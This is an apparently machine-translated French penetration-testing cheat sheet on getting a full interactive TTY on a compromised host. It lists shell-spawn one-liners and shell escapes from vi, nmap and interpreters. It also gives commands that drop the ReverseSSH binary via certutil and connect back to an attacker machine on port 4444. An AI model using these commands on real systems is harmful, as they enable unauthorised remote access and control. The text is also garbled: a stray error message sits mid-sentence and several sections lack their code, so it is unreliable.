Full TTYs
TTY complète
Notez que l'interpréteur de commandes que vous définissez dans la variable SHELL
doit être listé à l'intérieur de /etc/shells ou La valeur de la variable SHELL n'a pas été trouvée dans le fichier /etc/shells. Cet incident a été signalé
. De plus, notez que les extraits de code suivants ne fonctionnent que dans bash. Si vous êtes dans un zsh, passez à un bash avant d'obtenir l'interpréteur de commandes en exécutant bash
.
Python
Vous pouvez obtenir le nombre de lignes et de colonnes en exécutant stty -a
script
socat
Générer des shells
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
script -qc /bin/bash /dev/null
perl -e 'exec "/bin/sh";'
perl:
exec "/bin/sh";
ruby:
exec "/bin/sh"
lua:
os.execute('/bin/sh')
IRB:
exec "/bin/sh"
vi:
:!bash
vi:
:set shell=/bin/bash:shell
nmap:
!sh
ReverseSSH
Un moyen pratique pour accéder à un shell interactif, ainsi que pour transférer des fichiers et rediriger des ports, est de déposer le serveur ssh statiquement lié ReverseSSH sur la cible.
Voici un exemple pour x86
avec des binaires compressés avec upx. Pour d'autres binaires, consultez la page des versions.
Préparez localement pour intercepter la demande de redirection de port ssh :
(2a) Cible Linux:
(2b) Cible Windows 10 (pour les versions antérieures, consultez le readme du projet):
```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
reverse-ssh.exe -p 4444 kali@10.0.0.2
Pas de TTY
Si pour une raison quelconque vous ne pouvez pas obtenir un TTY complet, vous pouvez toujours interagir avec des programmes qui attendent une entrée utilisateur. Dans l'exemple suivant, le mot de passe est passé à sudo
pour lire un fichier :
Last updated